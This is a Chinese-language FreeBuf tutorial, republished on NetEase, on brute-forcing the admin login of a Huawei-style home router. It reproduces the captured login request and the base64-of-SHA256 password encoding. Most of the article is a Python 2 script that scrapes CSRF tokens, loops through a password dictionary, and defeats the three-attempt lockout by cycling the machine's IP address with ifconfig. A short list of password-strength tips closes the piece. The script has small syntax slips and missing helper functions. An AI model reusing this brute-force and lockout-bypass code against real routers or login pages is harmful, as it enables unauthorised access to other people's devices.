用Python绕过“登录3次错误,等待一分钟”的限制

x
用微信扫描二维码
分享至好友和朋友圈

  PS:本文仅作技术分享,禁止用于非法用途

  *本文原创作者:yearnwang,本文属FreeBuf原创奖励计划,未经许可禁止转载

  在院子里面看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后面的标签上有web界面的地址,然后登陆进去看看,发现有密码,然后我想,路由器的密码应该都是可以reset的,然后我就用笔戳那个reset键,奇迹没有发生,原来这个reset键坏了。

  晕,心想web界面还可以进去,而且无线wifi也可以看到SSID,应该主要功能还是可以用的。功能看起来挺多的,所以就想看看,在网上查找通用密码找了好多,一一尝试过,都没有用。那么就用最没技术含量的爆破试试。

  

  
分析过程 抓包

  1、打开路由的web页面:192.168.3.1,路由器返回

  

  

  

  

  会得到csrf和cookie和所需要的值,这些值都要保留下来,后面会用。

  2、输入用户名密码后:

  

user:admin
pass:87654321

  POST /api/system/user_login HTTP/1.1

   Host: 192.168.3.1

   Connection: keep-alive

   Content-Length: 234

   Accept: application/json, text/javascript, */*; q=0.01

   Origin: http://192.168.3.1

   X-Requested-With: XMLHttpRequest

   User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36

   Content-Type: application/json;charset=UTF-8

   Referer: http://192.168.3.1/

   Accept-Encoding: gzip, deflate

   Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

   Cookie: SessionID_R3=0t+W065cW7DGrInE3k1lqW3VNRR4cszfo3SLhRUloQDhd05Ol1iFIkrgoXkIILigFdsFyxtWWiziYrf4Dj7+LJZnD1a1J4TaVSnt6dGrzeHrdSKZG0Q70OYF6k7RyPa; username=admin

   {"csrf":{"csrf_param":"nqVHIs3gM3IpAXFgmo5Sxin67E/MToI","csrf_token":"aqB57PLGqlN//9W9KtwKGIZzmdUauIc"},"data":{"UserName":"admin","Password":"ZTI0ZGY5MjAwNzhjM2RkNGU3ZThkMjQ0MmYwMGU1YzlhYjJhMjMxYmIzOTE4ZDY1Y2M1MDkwNmU0OWVjYWVmNA=="}}

  3、路由器返回数据

  {"errorCategory":"user_pass_err","csrf_param":"gn73LuAQ4GxsQkWLdpDVSDKcxinFbli","count":1,"csrf_token":"gu/bK/YjwYBL/uFQEA+v1W2oOz5fARI"}
密码的生成方法

  从上面抓包的结果来看,Password字段是经过加密的,所以如果我们要暴力破解,需要把这个password的生成算法找出来。

  打开web登录页面,查看源代码,找找算法

  

  

  在web页面包含的js文件中,找到了UserName和Password的生成方案。

  password_str = base64Encode(SHA256(password));

  def encrpyt_password(my_org_pass):

  hash_256 = hashlib.sha256()

  hash_str = my_org_pass

  hash_256.update(hash_str.encode('utf-8'))

  hash_256_value = hash_256.hexdigest()

  encodestr = base64.b64encode(hash_256_value.encode('utf-8'))

   pass;

  登录的限制

  连续登录3次错误密码,会在1分钟之内无法登录。

  

  

  绕过3次错误密码,等待一分钟的限制

  在这里我使用修改IP地址的方式来加快暴力破解的速度。原理就是当一个ip地址的登录次数超过3次时,那就换下一个IP来登录页面,253个ip,每个ip可以过3个密码,253*3 = 759,每次可以测试759个密码,2分钟能过759个,1天1440分钟能测试54万多点密码,如果密码不复杂,差不多是可以跑出来的。

  在linux上修改ip地址,很简单一条命令就可以解决:

  def change_my_ip(c_ip):

  ip_last=c_ip

  cmd = 'ifconfig eth1 192.168.3.' + str(ip_last);

  a = os.popen(cmd);

  pass;

  提示内容:

  密码错误的提示文本:

   [password:bbbbbbbb];{"errorCategory":"user_pass_err","csrf_param":"FcnG919l8J7XhQsOYQEMS3WhsC2liSX","count":2,"csrf_token":"IQ/LfSZSx7gTp6VflYnZelobNSpoMy2"}

  ip地址被限制,需要等待1分钟的提示:

   [password:aaaaaaaa];{"errorCategory":"Three_time_err","csrf_param":"VKGTylVILQA9SFsTyYdpkHv8qfJPIIw","count":3,"csrf_token":"MTQLBcWQN+1DJjAP+A6xC4AUSXciBod"}

  登录成功的提示:

   ****[password:xxxxxxxx];{"csrf_param":"H/DyWxogz7+2y4UfzhqddowkjH1uL04","csrf_token":"MorgBb0+PNpoE8KhwBwq4OoioD2NcCs","errorCategory":"ok","level":2,"IsWizard":true,"IsFirst":true}
整理一下大概的流程

  

  所有的数据都准备好了,下一步,就是开始写程序了。

  核心代码:

   import urllib

   import json

   import urllib2

   import hashlib

   import base64

   import cookielib

   import re

   import os

   import random

   import time

   g_cookie_str = '';

   g_csrf_param = '';

   g_csrf_token = '';

   def encrpyt_password(my_org_pass):

   # 256

   hash_256 = hashlib.sha256()

   hash_str = my_org_pass

   hash_256.update(hash_str.encode('utf-8'))

   hash_256_value = hash_256.hexdigest()

   #base64

   encodestr = base64.b64encode(hash_256_value.encode('utf-8')

   return encodestr

   pass;

   def read_dic_from_file(path_str):

   pass;

   def change_my_ip(c_ip):

   ip_last=c_ip

   cmd = 'ifconfig eth1 192.168.3.' + str(ip_last);

   a = os.popen(cmd);

   pass;

   def get_csrf_str(res_str):

   global g_csrf_param,g_csrf_token;

   key_param = r"<meta name=\"csrf_param\" content=\".+\"/>"

   key_token = r"<meta name=\"csrf_token\" content=\".+\"/>"

   pattern_key_param = re.compile(key_param)

   pattern_token_param = re.compile(key_token)

   key_param_str = pattern_key_param.findall(res_str)[0];

   key_token_str = pattern_token_param.findall(res_str)[0];

   key_cnt_s = "content=\"";

   key_cnt_e = "\"/>";

   param_start = key_param_str.find(key_cnt_s);

   param_end = key_param_str.find(key_cnt_e);

   g_csrf_param = key_param_str[param_start+len(key_cnt_s):param_end];

   token_start = key_token_str.find(key_cnt_s);

   token_end = key_token_str.find(key_cnt_e);

   g_csrf_token = key_token_str[token_start+len(key_cnt_s):token_end];

   pass;

   def get_cookie_str(res_info):

   global g_cookie_str;

   t_cookie_index = str(res_info['Set-Cookie']).find(';');

   t_cookie = res_info['Set-Cookie'][0:t_cookie_index];

   g_cookie_str = t_cookie + ';'

   pass;

   def parse_result(pass_str,rst_str,fd_other):

   # {"errorCategory":"

   error_param = "\"errorCategory\":\".+\","

   pattern_error_param = re.compile(error_param);

   last_ = pattern_error_param.findall(rst_str);

   if( len(last_) > 0 ):

   out_str = '[' + 'password:' + pass_str + '];' + last_[0] + '\n';

   else:

   out_str = '****[' + 'password:' + pass_str + '];' +rst_str + '\n';

   fd_other.write(out_str);

   print out_str

   return out_str;

   pass;

   def get_some_info():

   index_url = 'http://192.168.3.1';

   c_headers = {}

   c_headers['User-Agent'] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36'

   req = urllib2.Request(index_url,headers = c_headers);

   try:

   result = urllib2.urlopen(req) # get

   if( 200 == result.getcode() ):

   _res_info = result.info()

   get_cookie_str(_res_info);

   _res = result.read() #

   get_csrf_str(_res) #

   else:

   print 'get_some_info error!'

   result.close()

   except urllib2.HTTPError, e:

   print "Error Code:", e.code

   except urllib2.URLError, e:

   print "Error Reason:", e.reason

   pass;

   def check_password(user_str , pass_str , log_handle,fd_other,c_ip):

   host_url = 'http://192.168.3.1/api/system/user_login'

   headers = {}

   headers['Referer'] = 'http://192.168.3.1/';

   headers['User-Agent'] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36'

   headers['Cookie'] = g_cookie_str + 'username =' + user_str;

   headers['Content-Type'] = 'application/json;charset=UTF-8'

   post_data={

   "csrf":{"csrf_param":g_csrf_param,"csrf_token":g_csrf_token},

   "data":{"UserName":user_str,"Password":encrpyt_password(pass_str)}

   };

   post = []

   post.append(post_data)

   data = json.dumps(post_data) #urllib.urlencode(post_data);

   request = urllib2.Request(host_url,headers = headers,data = data)

   try:

   ret_three_time = 0;

   response = urllib2.urlopen(request)

   rst_str = response.read();

   if (rst_str.find('user_pass_err') > 0):

   out_str = '[' + 'password:' + pass_str + '];' +rst_str + '\n';

   elif (rst_str.find('Three_time_err') > 0):

   ret_three_time = 1;

   out_str = '[' + 'password:' + pass_str + '];' +rst_str + '\n';

   else:

   out_str = '****[' + 'password:' + pass_str + '];' +rst_str + '\n';

   fd_other.write(out_str);

   if 0 == ret_three_time:

   log_handle.write(out_str);

   response.close()

   print out_str

   return ret_three_time;

   except urllib2.HTTPError, e:

   print "Error Code:", e.code

   except urllib2.URLError, e:

   print "Error Reason:", e.reason

   pass;

   def main():

   worldlist = read_dic_from_file('wordlist2.txt'); #字典文件

   fd_log = open('./log.txt', 'a')

   fd_other = open('./record.txt', 'a') #破解成功后的内容写入文件

   no_use_ip = [];

   c_ip = 0;

   for one_password in worldlist:

   pass_str = one_password;

   while 1:

   c_ip = gen_new_ip_num(c_ip);#生成一个新的ip

   change_my_ip(c_ip); #切换ip

   get_some_info(); #获取需要的参数

   r3t = check_password('admin' , pass_str , fd_log,fd_other,c_ip);#发送post,验证密码

   if 1 == r3t:

   no_use_ip.append(c_ip);

   if len(no_use_ip) > 250: #ip用完了?

   time.sleep(60); #休息1分钟后,重试

   no_use_ip = []; #清空ip地址

   continue;

   else:

   break;

   pass;

   print 'over '

   pass;

   main();

  如何防止暴力破解yearnwang

  暴力破解,只是模拟了人的操作,如果说想要预防暴力破解,最好的方式,就是加强自己密码的复杂度。

  

1、不要使用弱密码。
2、密码越长越好。
3、密码最好要有大小写数字配合。
4、查一查自己的密码是不是在top1000中,是的话赶快更换。
5、定期的更换自己的密码。

  *本文原创作者:yearnwang,本文属FreeBuf原创奖励计划,未经许可禁止转载

特别声明:本文为网易自媒体平台“网易号”作者上传并发布,仅代表该作者观点。网易仅提供信息发布平台。

跟贴 跟贴 8 参与 9
© 1997-2019 网易公司版权所有 About NetEase | 公司简介 | 联系方法 | 招聘信息 | 客户服务 | 隐私政策 | 广告服务 | 网站地图 | 意见反馈 | 不良信息举报

FreeBuf

互联网安全新媒体

头像

FreeBuf

互联网安全新媒体

5507

篇文章

14192

人关注

列表加载中...
请登录后再关注
x

用户登录

网易通行证/邮箱用户可以直接登录:
忘记密码